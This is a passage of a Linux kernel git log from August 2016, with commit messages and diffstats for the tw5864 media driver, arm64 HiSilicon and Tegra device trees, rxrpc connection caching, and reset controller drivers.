unsigned long space_before_sl_hdr; ^~~~~~~~~~~~~~~~~~~ drivers/media/pci/tw5864/tw5864-video.c:1218:6: warning: variable 'sl_hdr' set but not used [-Wunused-but-set-variable] u8 *sl_hdr; ^~~~~~ Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/tw5864/tw5864-video.c | 4 ---- 1 file changed, 4 deletions(-) commit 617e901a12adf8bc9b8d2c41db0eccc7debab8d0 Author: Mauro Carvalho Chehab Date: Wed Aug 24 13:26:50 2016 -0300 [media] tw5864: remove double irq lock code As warned by smatch: drivers/media/pci/tw5864/tw5864-core.c:160 tw5864_h264_isr() error: double lock 'irqsave:flags' drivers/media/pci/tw5864/tw5864-core.c:174 tw5864_h264_isr() error: double unlock 'irqsave:flags' Remove the IRQ duplicated lock. Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/tw5864/tw5864-core.c | 2 -- 1 file changed, 2 deletions(-) commit 38cb2ecaf56fac390bd337f5f8140dc4bc34c27e Author: Pandiyan, Dhinakaran Date: Wed Aug 10 23:41:13 2016 -0700 drm/i915: Eliminate redundant local variable definition No functional change, just clean up. Signed-off-by: Dhinakaran Pandiyan Reviewed-by: Chris Wilson Signed-off-by: Rodrigo Vivi Link: http://patchwork.freedesktop.org/patch/msgid/1470897673-29292-3-git-send-email-dhinakaran.pandiyan@intel.com drivers/gpu/drm/i915/intel_audio.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 8ab5de2e005854e27bb67a3220efdbb0ef151e07 Author: Pandiyan, Dhinakaran Date: Thu Aug 4 13:48:36 2016 -0700 drm/i915/dp: Dump DP link status when link training stages fail A full dump of link status can be handy in debugging link training failures. Let's add that to the debug messages when link training fails. v2: Removing unrelated clean up (Jani) Signed-off-by: Dhinakaran Pandiyan Reviewed-by: Chris Wilson Signed-off-by: Rodrigo Vivi Link: http://patchwork.freedesktop.org/patch/msgid/1470343716-5574-3-git-send-email-dhinakaran.pandiyan@intel.com drivers/gpu/drm/i915/intel_dp_link_training.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 8b0878a0a3a8da26a9766a2d3abd8768c21b4121 Author: Pandiyan, Dhinakaran Date: Thu Aug 4 13:48:35 2016 -0700 drm/i915/dp: Add debug messages to print DP link training pattern Currently we do not print the training pattern used in any of the DP link training stages. Including this piece of information in debug messages will help debugging. Also, use the wrapper intel_dp_program_link_training_pattern() in intel_dp_enable_port() instead of implementing it. v2: Downgraded log level from error to debug (Chris) Signed-off-by: Dhinakaran Pandiyan Reviewed-by: Chris Wilson Signed-off-by: Rodrigo Vivi Link: http://patchwork.freedesktop.org/patch/msgid/1470343716-5574-2-git-send-email-dhinakaran.pandiyan@intel.com drivers/gpu/drm/i915/intel_dp.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit e5668caec5698f14f310fb06bb39595b21d2fe4a Author: Nicolas Iooss Date: Tue Aug 23 10:51:22 2016 +0200 ASoC: simple-card-utils: add __printf attribute asoc_simple_card_set_dailink_name() uses devm_kvasprintf() to format some of its arguments. Adding a __printf attribute to this function makes it possible to detect at compile-time errors related to format strings. Signed-off-by: Nicolas Iooss Signed-off-by: Mark Brown include/sound/simple_card_utils.h | 1 + 1 file changed, 1 insertion(+) commit 7e01e7a109515718fe89a137a68de3ccff660954 Author: Kefeng Wang Date: Mon Aug 15 15:03:44 2016 +0800 arm64: dts: hip06: Append sas node This patch adds sas and relevant nodes for Hip06 D03 board. Cc: Xiang Chen Cc: John Garry Signed-off-by: Kefeng Wang Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hip06-d03.dts | 12 +++ arch/arm64/boot/dts/hisilicon/hip06.dtsi | 150 ++++++++++++++++++++++++++++ 2 files changed, 162 insertions(+) commit 5350419fbaab0cf962ccd9de93e0fed1113d33e9 Author: Kefeng Wang Date: Mon Aug 15 15:03:43 2016 +0800 arm64: dts: hip06: Append hns node There are four ports(2 GE, 2 XGE) in D03 board, append relevant nodes for them. Cc: Kejian Yan Cc: Yisen Zhuang Signed-off-by: Kefeng Wang Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hip06-d03.dts | 16 +++ arch/arm64/boot/dts/hisilicon/hip06.dtsi | 215 ++++++++++++++++++++++++++++ 2 files changed, 231 insertions(+) commit 9f67f1185c550b88e6c75d005e2f26f5c7fde480 Author: Kefeng Wang Date: Mon Aug 15 15:03:42 2016 +0800 dt-bindings: hisilicon: Add Hip05 and Hip06 system controller support The Hip05 and Hip06 are very similar in design, use better and unified name for system controller. Signed-off-by: Kefeng Wang Signed-off-by: Wei Xu .../bindings/arm/hisilicon/hisilicon.txt | 39 ++++++++++++++++------ 1 file changed, 28 insertions(+), 11 deletions(-) commit fb9b80b838fa91892ee2778afb363761a0ab5a8a Author: Kefeng Wang Date: Mon Aug 15 15:03:41 2016 +0800 arm64: dts: hip05: kill hip05_hns.dtsi The dsaf interrupt of hns connects to mbigen, but the mbigen(version 1) isn't upsteamed. Currently, hip05_hns.dtsi uses mbigen_dsa and it will never be built, so kill it for now, will add them back and merge them into hip05.dtsi once mbigen-v1 is accepted. Cc: Kejian Yan Cc: Yisen Zhuang Signed-off-by: Kefeng Wang Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hip05.dtsi | 5 - arch/arm64/boot/dts/hisilicon/hip05_hns.dtsi | 180 --------------------------- 2 files changed, 185 deletions(-) commit 813a731522361467da9acabbb855c9a1cbbf5d5b Author: John Stultz Date: Mon Aug 22 15:48:05 2016 -0700 arm64: dts: hikey: Add pstore support for HiKey This patch reserves some memory in the DTS and sets up a pstore device tree node to enable pstore support on HiKey. Cc: Kees Cook Cc: Guodong Xu Cc: Haojian Zhuang Cc: Wei Xu Cc: Rob Herring Cc: Mark Rutland Cc: Catalin Marinas Cc: Will Deacon Cc: linux-arm-kernel@lists.infradead.org Cc: devicetree@vger.kernel.org Reviewed-by: Kees Cook Signed-off-by: John Stultz Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hi6220-hikey.dts | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) commit 330fd87c21488e9165eae238ae6ae2ee6b471d11 Author: John Stultz Date: Mon Aug 22 15:48:04 2016 -0700 arm64: dts: hikey: Add hikey support for syscon-reboot-mode Add support to hikey dts for the syscon-reboot-mode driver. After trying an approach using a sram driver and node, a number of issues cropped up which would make it so we would be duplicating a lot of extra syscon infrastructure in order to support mfds on sram. After talking with Bjorn, using the syscon driver for this seems like an better choice. Cc: Andy Yan Cc: Bjorn Andersson Cc: Haojian Zhuang Cc: Guodong Xu Cc: Wei Xu Cc: Rob Herring Cc: Mark Rutland Cc: Catalin Marinas Cc: Will Deacon Cc: linux-arm-kernel@lists.infradead.org Cc: devicetree@vger.kernel.org Acked-by: Bjorn Andersson Signed-off-by: John Stultz Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hi6220-hikey.dts | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) commit b77c23a084256ec45399a9c089919398aa9776f0 Author: Xinliang Liu Date: Mon Aug 22 15:48:03 2016 -0700 arm64: dts: Add HDMI node for hi6220-hikey Add adv7533 HDMI DT node for HiKey board. Cc: Guodong Xu Cc: Wei Xu Cc: Rob Herring Cc: Mark Rutland Cc: Catalin Marinas Cc: Will Deacon Cc: linux-arm-kernel@lists.infradead.org Cc: devicetree@vger.kernel.org Signed-off-by: Xinliang Liu Signed-off-by: John Stultz Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hi6220-hikey.dts | 32 ++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) commit 3814b61bd784cc7da966dc983a692035b7028776 Author: Xinliang Liu Date: Mon Aug 22 15:48:02 2016 -0700 arm64: dts: Add display subsystem DT nodes for hi6220-hikey Add ade and dsi DT nodes for hikey board. Cc: Guodong Xu Cc: Wei Xu Cc: Rob Herring Cc: Mark Rutland Cc: Catalin Marinas Cc: Will Deacon Cc: linux-arm-kernel@lists.infradead.org Cc: devicetree@vger.kernel.org Signed-off-by: Xinliang Liu Signed-off-by: John Stultz Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hi6220-hikey.dts | 8 ++++ arch/arm64/boot/dts/hisilicon/hi6220.dtsi | 55 ++++++++++++++++++++++++++ 2 files changed, 63 insertions(+) commit 1b9c7b2d6339cb1353292a25c052f2b86efbb1b8 Author: Jorge Ramirez-Ortiz Date: Fri Jul 8 10:11:07 2016 +0200 arm64: dts: set UART1 clock frequency to 150MHz Enable support for higher baud rates (up to 3Mbps) in UART1 - required for bluetooth transfers. Signed-off-by: Jorge Ramirez-Ortiz Tested-by: Jorge Ramirez-Ortiz Reviewed-by: Michael Turquette Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hi6220-hikey.dts | 2 ++ 1 file changed, 2 insertions(+) commit 988232412e6711a9bbdc06d4e008b552bbf7cd06 Author: Jon Hunter Date: Wed Mar 30 10:15:16 2016 +0100 arm64: tegra: Select PM_GENERIC_DOMAINS Enable PM_GENERIC_DOMAINS for 64-bit Tegra devices. This is required to ensure that devices dependent upon a particular power domain are probed only after that power domain has been powered up. Signed-off-by: Jon Hunter Reviewed-by: Ulf Hansson Signed-off-by: Thierry Reding arch/arm64/Kconfig.platforms | 2 ++ 1 file changed, 2 insertions(+) commit 4d3457826abb14ae07ea6a0e500d838181eada25 Author: Jon Hunter Date: Tue Aug 9 16:21:22 2016 +0100 arm64: tegra: Enable XUSB controller on Tegra210 Smaug Enable the XUSB controller on Tegra210 Smaug. The Smaug has a USB Type-C connector with one of the USB2.0 lanes and one of the USB3.0 lanes populated. Signed-off-by: Jon Hunter Signed-off-by: Thierry Reding arch/arm64/boot/dts/nvidia/tegra210-smaug.dts | 57 +++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) commit 21adc4d7bb0260effe0a4395a8751d88a4aedf9a Author: John Stultz Date: Mon Aug 22 15:45:30 2016 -0700 Kconfig: ARCH_HISI: Add PINCTRL to HISI platform Things won't work if PINCTRL isn't enabled, so make sure to explicitly set it rather then betting that we have some other platform configed in which selects it. Cc: Arnd Bergmann Cc: Wei Xu Cc: Catalin Marinas Cc: Will Deacon Cc: linux-arm-kernel@lists.infradead.org Signed-off-by: John Stultz Signed-off-by: Wei Xu arch/arm64/Kconfig.platforms | 1 + 1 file changed, 1 insertion(+) commit 3ce510a06aea6cf8964e9fc1037c80f8434210fd Author: Jon Hunter Date: Tue Aug 9 16:21:21 2016 +0100 arm64: tegra: Add the various audio devices for Tegra210 Smaug The Tegra210 Smaug includes the Realtek RT5677 audio codec, Nuvoton NAU8825 headset codec and the Maxim MAX98357a audio amplifier. Add the nodes for these devices for the Tegra210 Smaug. Signed-off-by: Jon Hunter [treding@nvidia.com: use interrupts property consistently] Signed-off-by: Thierry Reding arch/arm64/boot/dts/nvidia/tegra210-smaug.dts | 45 +++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) commit b4f10afdad56b94ffe076b3c68b3d74d5fc95a44 Author: Jon Hunter Date: Tue Aug 9 16:21:20 2016 +0100 arm64: tegra: Enable DPAUX for Tegra210 Smaug The Tegra210 Smaug uses I2C6 for interfacing to various audio chips. I2C6 shares pads with the DPAUX interface and to allow I2C6 to request the pads owned by DPAUX, the DPAUX device needs to be enabled. Enable DPAUX for Tegra210 Smaug. Signed-off-by: Jon Hunter Signed-off-by: Thierry Reding arch/arm64/boot/dts/nvidia/tegra210-smaug.dts | 6 ++++++ 1 file changed, 6 insertions(+) commit 9fab004dcb3aa451a580e6362346d2f00daaccbe Author: Jon Hunter Date: Tue Aug 9 16:21:19 2016 +0100 arm64: tegra: Add ACONNECT, ADMA and AGIC nodes Tegra210 Smaug Populate the ACONNECT, ADMA and AGIC nodes for Tegra210 Smaug which are used for audio use-cases. Signed-off-by: Jon Hunter Signed-off-by: Thierry Reding arch/arm64/boot/dts/nvidia/tegra210-smaug.dts | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 96d1f078ff05046ba1670c3dce353afe38f81065 Author: Jon Hunter Date: Tue Aug 9 16:21:18 2016 +0100 arm64: tegra: Add SOR power-domain for Tegra210 Add node for SOR power-domain for Tegra210 and populate the SOR power-domain phandle for DPAUX, DSI, MIPI-CAL and SOR and nodes that are dependent on this power-domain. Signed-off-by: Jon Hunter Signed-off-by: Thierry Reding arch/arm64/boot/dts/nvidia/tegra210.dtsi | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit 19e61213f6a5897819a7cbfeb6c5ee25f0a7035f Author: Jon Hunter Date: Tue Aug 9 16:21:17 2016 +0100 arm64: tegra: Add ADMA node for Tegra210 Populate the ADMA node for Tegra210. The ADMA is used by the Audio Processing Engine (APE) on Tegra210 for moving data between the APE and system memory. Signed-off-by: Jon Hunter Signed-off-by: Thierry Reding arch/arm64/boot/dts/nvidia/tegra210.dtsi | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) commit 29002b8e2e86f35f93f31373a2e7c32e2028aeee Author: Guodong Xu Date: Wed Aug 24 10:42:07 2016 +0800 arm64: defconfig: enable bluetooth supports as modules Enable the following items for bluetooth mouse and speaker which base on HCIUART. a) CONFIG_BT_HCIUART b) CONFIG_BT_HCIUART_LL c) CONFIG_BT_HIDP Enable bluetooth LED support. d) CONFIG_BT_LEDS Signed-off-by: Guodong Xu Signed-off-by: Wei Xu arch/arm64/configs/defconfig | 8 ++++++++ 1 file changed, 8 insertions(+) commit acdf2a16720d3c93b5c80b415f937121b4e654f7 Author: Guodong Xu Date: Wed Aug 24 10:42:06 2016 +0800 arm64: defconfig: enable CONFIG_INPUT_HISI_POWERKEY for HiKey Signed-off-by: Guodong Xu Signed-off-by: Wei Xu arch/arm64/configs/defconfig | 1 + 1 file changed, 1 insertion(+) commit d15f21a3c7e41e4e69b169f897873b4d4f5b0ed6 Author: Guodong Xu Date: Wed Aug 24 10:42:05 2016 +0800 arm64: defconfig: Enable HiSilicon kirin drm, adv7533 for HiKey Enable HiSilicon kirin drm driver for HiKey: CONFIG_DRM_HISI_KIRIN Enable adv7511/adv7533 for HiKey: CONFIG_DRM_I2C_ADV7511 Build these components as modules. Signed-off-by: Xinliang Liu Signed-off-by: Guodong Xu Signed-off-by: Wei Xu arch/arm64/configs/defconfig | 2 ++ 1 file changed, 2 insertions(+) commit bcdbde433542234378219a77bfb549842439a505 Author: Jon Hunter Date: Tue Aug 9 16:21:16 2016 +0100 arm64: tegra: Add AGIC node for Tegra210 Populate the Audio GIC (AGIC) node for Tegra210. This interrupt controller is used by the Audio Processing Engine to route interrupts to the main CPU interrupt controller. The AGIC is based on the ARM GIC400 and so uses the clock name "clk" as specified by the GIC binding document for GIC400 devices. Signed-off-by: Jon Hunter Signed-off-by: Thierry Reding arch/arm64/boot/dts/nvidia/tegra210.dtsi | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit d22c90aa502731a0f5c70e4668784db8d479c388 Author: Kefeng Wang Date: Mon Aug 15 15:03:45 2016 +0800 arm64: defconfig: Enable Hisi SAS and HNS Enable Hisi SAS and HNS config for D02/D03 board. Signed-off-by: Kefeng Wang Signed-off-by: Wei Xu arch/arm64/configs/defconfig | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 98313c940a622eec4c31c93d924a6c21ae57b29b Author: Jon Hunter Date: Tue Aug 16 14:40:57 2016 +0100 arm64: tegra: Drop clock and reset names for XUSB powergates Drop the clock and reset names for the Tegra210 XUSB powergates because these are not currently used and not required by the Tegra PMC binding documentation. Signed-off-by: Jon Hunter Signed-off-by: Thierry Reding arch/arm64/boot/dts/nvidia/tegra210.dtsi | 6 ------ 1 file changed, 6 deletions(-) commit ffe67c2fabf128122b30fbf0ac498928e171b0b3 Author: Shawn Lin Date: Sun Aug 21 15:57:33 2016 +0800 perf tools: Fix error handling of lzma decompression lzma_decompress_to_file() never actually closes the file pointer, let's fix it. Signed-off-by: Shawn Lin Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1471766253-1964-1-git-send-email-shawn.lin@rock-chips.com [ Make err = -1, the common case, set it to 0 before the error label ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/lzma.c | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) commit a42f6e3f8f0351abe91a97108e33083e6cfafc34 Author: Yakir Yang Date: Thu Jul 21 21:14:34 2016 +0800 drm/panel: simple: Add delay timing for Sharp LQ123P1JX31 According to page 16 of the Sharp LQ123P1JX31 datasheet, we need to add the missing delay timing. Panel prepare time should be t1 (0.5 to 10 ms) plus t3 (0 to 100 ms), panel enable time should equal to t7 (0 to 50 ms) and panel unprepare time should be t11 (1 to 50 ms) plus t12 (500 ms). Signed-off-by: Yakir Yang Reviewed-by: Sean Paul Signed-off-by: Thierry Reding drivers/gpu/drm/panel/panel-simple.c | 5 +++++ 1 file changed, 5 insertions(+) commit cf460a14ce7a3b84d24c4937d440ac388c7608a1 Author: Hans Verkuil Date: Sun Aug 14 06:37:29 2016 -0300 [media] tw5864: add missing HAS_DMA dependency Fix this warning: warning: (VIDEO_TW5864 && VIDEO_MEDIATEK_VCODEC) selects VIDEOBUF2_DMA_CONTIG which has unmet direct dependencies (MEDIA_SUPPORT && HAS_DMA) This driver depends on HAS_DMA. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/tw5864/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 34d1324edd3154105b7a3985c6c4384d602f2ab6 Author: Andrey Utkin Date: Wed Jul 20 10:07:12 2016 -0300 [media] pci: Add tw5864 driver Support for boards based on Techwell TW5864 chip which provides multichannel video & audio grabbing and encoding (H.264, MJPEG, ADPCM G.726). This submission implements only H.264 encoding of all channels at D1 resolution. Thanks to Mark Thompson for help, and for contribution of H.264 startcode emulation prevention code. Signed-off-by: Andrey Utkin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab MAINTAINERS | 8 + drivers/media/pci/Kconfig | 1 + drivers/media/pci/Makefile | 1 + drivers/media/pci/tw5864/Kconfig | 11 + drivers/media/pci/tw5864/Makefile | 3 + drivers/media/pci/tw5864/tw5864-core.c | 359 ++++++ drivers/media/pci/tw5864/tw5864-h264.c | 259 ++++ drivers/media/pci/tw5864/tw5864-reg.h | 2133 +++++++++++++++++++++++++++++++ drivers/media/pci/tw5864/tw5864-util.c | 37 + drivers/media/pci/tw5864/tw5864-video.c | 1514 ++++++++++++++++++++++ drivers/media/pci/tw5864/tw5864.h | 205 +++ 11 files changed, 4531 insertions(+) commit 45025bceef17ed5d5ed3006b63c85cf289f79dc8 Author: David Howells Date: Wed Aug 24 07:30:52 2016 +0100 rxrpc: Improve management and caching of client connection objects Improve the management and caching of client rxrpc connection objects. From this point, client connections will be managed separately from service connections because AF_RXRPC controls the creation and re-use of client connections but doesn't have that luxury with service connections. Further, there will be limits on the numbers of client connections that may be live on a machine. No direct restriction will be placed on the number of client calls, excepting that each client connection can support a maximum of four concurrent calls. Note that, for a number of reasons, we don't want to simply discard a client connection as soon as the last call is apparently finished: (1) Security is negotiated per-connection and the context is then shared between all calls on that connection. The context can be negotiated again if the connection lapses, but that involves holding up calls whilst at least two packets are exchanged and various crypto bits are performed - so we'd ideally like to cache it for a little while at least. (2) If a packet goes astray, we will need to retransmit a final ACK or ABORT packet. To make this work, we need to keep around the connection details for a little while. (3) The locally held structures represent some amount of setup time, to be weighed against their occupation of memory when idle. To this end, the client connection cache is managed by a state machine on each connection. There are five states: (1) INACTIVE - The connection is not held in any list and may not have been exposed to the world. If it has been previously exposed, it was discarded from the idle list after expiring. (2) WAITING - The connection is waiting for the number of client conns to drop below the maximum capacity. Calls may be in progress upon it from when it was active and got culled. The connection is on the rxrpc_waiting_client_conns list which is kept in to-be-granted order. Culled conns with waiters go to the back of the queue just like new conns. (3) ACTIVE - The connection has at least one call in progress upon it, it may freely grant available channels to new calls and calls may be waiting on it for channels to become available. The connection is on the rxrpc_active_client_conns list which is kept in activation order for culling purposes. (4) CULLED - The connection got summarily culled to try and free up capacity. Calls currently in progress on the connection are allowed to continue, but new calls will have to wait. There can be no waiters in this state - the conn would have to go to the WAITING state instead. (5) IDLE - The connection has no calls in progress upon it and must have been exposed to the world (ie. the EXPOSED flag must be set). When it expires, the EXPOSED flag is cleared and the connection transitions to the INACTIVE state. The connection is on the rxrpc_idle_client_conns list which is kept in order of how soon they'll expire. A connection in the ACTIVE or CULLED state must have at least one active call upon it; if in the WAITING state it may have active calls upon it; other states may not have active calls. As long as a connection remains active and doesn't get culled, it may continue to process calls - even if there are connections on the wait queue. This simplifies things a bit and reduces the amount of checking we need do. There are a couple flags of relevance to the cache: (1) EXPOSED - The connection ID got exposed to the world. If this flag is set, an extra ref is added to the connection preventing it from being reaped when it has no calls outstanding. This flag is cleared and the ref dropped when a conn is discarded from the idle list. (2) DONT_REUSE - The connection should be discarded as soon as possible and should not be reused. This commit also provides a number of new settings: (*) /proc/net/rxrpc/max_client_conns The maximum number of live client connections. Above this number, new connections get added to the wait list and must wait for an active conn to be culled. Culled connections can be reused, but they will go to the back of the wait list and have to wait. (*) /proc/net/rxrpc/reap_client_conns If the number of desired connections exceeds the maximum above, the active connection list will be culled until there are only this many left in it. (*) /proc/net/rxrpc/idle_conn_expiry The normal expiry time for a client connection, provided there are fewer than reap_client_conns of them around. (*) /proc/net/rxrpc/idle_conn_fast_expiry The expedited expiry time, used when there are more than reap_client_conns of them around. Note that I combined the Tx wait queue with the channel grant wait queue to save space as only one of these should be in use at once. Note also that, for the moment, the service connection cache still uses the old connection management code. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 56 ++- net/rxrpc/call_event.c | 4 +- net/rxrpc/call_object.c | 5 +- net/rxrpc/conn_client.c | 910 +++++++++++++++++++++++++++++++++++++++++------ net/rxrpc/conn_object.c | 71 ++-- net/rxrpc/conn_service.c | 5 + net/rxrpc/output.c | 6 +- net/rxrpc/sysctl.c | 33 +- 8 files changed, 933 insertions(+), 157 deletions(-) commit 4d028b2c82991e2f9ae89ad90aeaaeb713495043 Author: David Howells Date: Wed Aug 24 07:30:52 2016 +0100 rxrpc: Dup the main conn list for the proc interface The main connection list is used for two independent purposes: primarily it is used to find connections to reap and secondarily it is used to list connections in procfs. Split the procfs list out from the reap list. This allows us to stop using the reap list for client connections when they acquire a separate management strategy from service collections. The client connections will not be on a management single list, and sometimes won't be on a management list at all. This doesn't leave them floating, however, as they will also be on an rb-tree rooted on the socket so that the socket can find them to dispatch calls. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 2 ++ net/rxrpc/conn_client.c | 1 + net/rxrpc/conn_object.c | 3 +++ net/rxrpc/conn_service.c | 1 + net/rxrpc/proc.c | 8 ++++---- 5 files changed, 11 insertions(+), 4 deletions(-) commit df5d8bf70f64a2ee34234553eb215418dbc4c8f3 Author: David Howells Date: Wed Aug 24 14:31:43 2016 +0100 rxrpc: Make /proc/net/rxrpc_calls safer Make /proc/net/rxrpc_calls safer by stashing a copy of the peer pointer in the rxrpc_call struct and checking in the show routine that the peer pointer, the socket pointer and the local pointer obtained from the socket pointer aren't NULL before we use them. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 4 +++- net/rxrpc/call_object.c | 3 +++ net/rxrpc/conn_client.c | 1 + net/rxrpc/proc.c | 27 +++++++++++++++++++-------- 4 files changed, 26 insertions(+), 9 deletions(-) commit 08ee01789eebf433c27e8b3eecc3ddbb5f7c4d51 Author: Dmitry Osipenko Date: Sun Aug 21 11:57:58 2016 +0300 drm/tegra: Fix window[0] base address corruption Window uses shared stride for UV planes and tegra_dc_window struct defines array of 2 strides per window. That's not taken in account during setting up of the window addresses and strides, resulting in out-of-bounds write of the 3-rd (non-existent) V plane stride that overwrites Y plane base address. Signed-off-by: Dmitry Osipenko [treding@nvidia.com: explain why the V-plane stride is ignored] Signed-off-by: Thierry Reding drivers/gpu/drm/tegra/dc.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit e15c282eff54aaf4c5ed72d492da7060d14f7be8 Author: Takashi Sakamoto Date: Wed Aug 24 21:42:43 2016 +0900 ALSA: bebob: unify configurations for some models produced by Yamaha/Terratec The below models were developed with a cooperation by Yamaha and Terratec. - Yamaha GO 44/Terratec PHASE 24 FW - Yamaha GO 46/Terratec PHASE X24 FW They have the same configurations, thus it's better to unify corresponding codes. This commit merges them to reduce the amount of maintained codes. Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/firewire/bebob/bebob.c | 8 +++---- sound/firewire/bebob/bebob.h | 3 +-- sound/firewire/bebob/bebob_terratec.c | 31 ---------------------------- sound/firewire/bebob/bebob_yamaha_terratec.c | 5 ++++- 4 files changed, 9 insertions(+), 38 deletions(-) commit df6a886611935f8155e16ded9a7aa63b18b98f7e Author: Takashi Sakamoto Date: Wed Aug 24 21:42:42 2016 +0900 ALSA: bebob: rename file with vendor-dependent code so that it's for Yamaha/Terratec Once Yamaha and Terratec cooperated to develop some audio and music units on IEEE 1394 bus. On these models, the same embedded board is used, and similar configurations are also applied. This commit renames file for Yamaha's configuration so that it's for both of Yamaha and Terratec. Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/firewire/bebob/Makefile | 5 ++- sound/firewire/bebob/bebob_yamaha.c | 62 ---------------------------- sound/firewire/bebob/bebob_yamaha_terratec.c | 62 ++++++++++++++++++++++++++++ 3 files changed, 65 insertions(+), 64 deletions(-) commit 2ba775d0f643a070ff0820a3059572871d947e6a Author: Mauro Carvalho Chehab Date: Wed Aug 24 10:27:38 2016 -0300 [media] extended-controls.rst: fix a build warning /devel/v4l/patchwork/Documentation/media/uapi/v4l/extended-controls.rst:2116: WARNING: Inline literal start-string without end-string. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/extended-controls.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a3774e146a14a78e4dc84b28e841f3e91a29c6e4 Author: Philipp Zabel Date: Mon Jun 20 13:05:14 2016 +0200 reset: warn on invalid input to reset_control_reset/assert/deassert/status Instead of potentially crashing, dump a backtrace and return -EINVAL if rstc is NULL or an error code. Signed-off-by: Philipp Zabel drivers/reset/core.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 54e991b56639437f922113b6b12f34e8044418d8 Author: Masahiro Yamada Date: Tue Aug 2 13:18:29 2016 +0900 reset: uniphier: add reset controller driver for UniPhier SoCs This is the initial commit for UniPhier reset controller driver. Signed-off-by: Masahiro Yamada Acked-by: Rob Herring Signed-off-by: Philipp Zabel .../devicetree/bindings/reset/uniphier-reset.txt | 93 +++++ MAINTAINERS | 1 + drivers/reset/Kconfig | 10 + drivers/reset/Makefile | 1 + drivers/reset/reset-uniphier.c | 440 +++++++++++++++++++++ 5 files changed, 545 insertions(+) commit 9af80712985562b40fa37e6b80b82bedb57fcbc6 Author: Gabriel Fernandez Date: Fri Jul 22 11:37:50 2016 +0200 ARM: dts: stm32f429: add missing #reset-cells of rcc This patch adds #reset-cells property to rcc node. Signed-off-by: Gabriel Fernandez Signed-off-by: Philipp Zabel arch/arm/boot/dts/stm32f429.dtsi | 1 + 1 file changed, 1 insertion(+) commit b70b009b243acce0562dee2e7eee9293cc69383c Author: Maxime Coquelin Date: Fri Jul 22 11:37:49 2016 +0200 drivers: reset: Add STM32 reset driver The STM32 MCUs family IPs can be reset by accessing some registers from the RCC block. The list of available reset lines is documented in the DT bindings. Signed-off-by: Maxime Coquelin Signed-off-by: Gabriel Fernandez Signed-off-by: Philipp Zabel drivers/reset/Makefile | 1 + drivers/reset/reset-stm32.c | 108 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 109 insertions(+) commit 57bd63a4934ff5ef6f19a9b87de5e190e91edc80 Author: Maxime Coquelin Date: Fri Jul 22 11:37:48 2016 +0200 dt-bindings: Document the STM32 reset bindings This adds documentation of device tree bindings for the STM32 reset controller. Signed-off-by: Maxime Coquelin Signed-off-by: Gabriel Fernandez Acked-by: Rob Herring Signed-off-by: Philipp Zabel .../devicetree/bindings/clock/st,stm32-rcc.txt | 42 ++++++++++++++++++---- .../devicetree/bindings/reset/st,stm32-rcc.txt | 6 ++++ 2 files changed, 41 insertions(+), 7 deletions(-) commit ca9f71f05793e8d0972df4c6df30378a073e63c5 Author: Maxime Coquelin Date: Fri Jul 22 11:37:47 2016 +0200 dt-bindings: mfd: Add STM32F4 RCC numeric constants into DT include file Ths patch lists STM32F4's RCC numeric constants. It will be used by clock and reset drivers, and DT bindings. Signed-off-by: Maxime Coquelin Signed-off-by: Gabriel Fernandez Signed-off-by: Philipp Zabel include/dt-bindings/mfd/stm32f4-rcc.h | 98 +++++++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) commit bb77c5776b5f39e2e12898ad73df0ce2f08a42ce Author: Hans Verkuil Date: Sat Aug 13 10:17:04 2016 -0300 [media] vidioc-g-dv-timings.rst: document the v4l2_bt_timings reserved field This field was never documented, and neither was it mentioned that it should be zeroed by the application. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-g-dv-timings.rst | 8 ++++++++ 1 file changed, 8 insertions(+) commit 10791829eb52d572915ef621f06e134488d4b204 Author: Hans Verkuil Date: Thu Jul 21 09:14:03 2016 -0300 [media] vb2: add WARN_ONs checking if a valid struct device was passed The dma-contig and dma-sg memops require a valid struct device for the DMA to be handled correctly. Call WARN_ON and return ERR_PTR(-EINVAL) if it was NULL. Setting the correct device pointer was forgotten in several new driver submissions. This was caught during code review, but it really should be caught in the code. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab 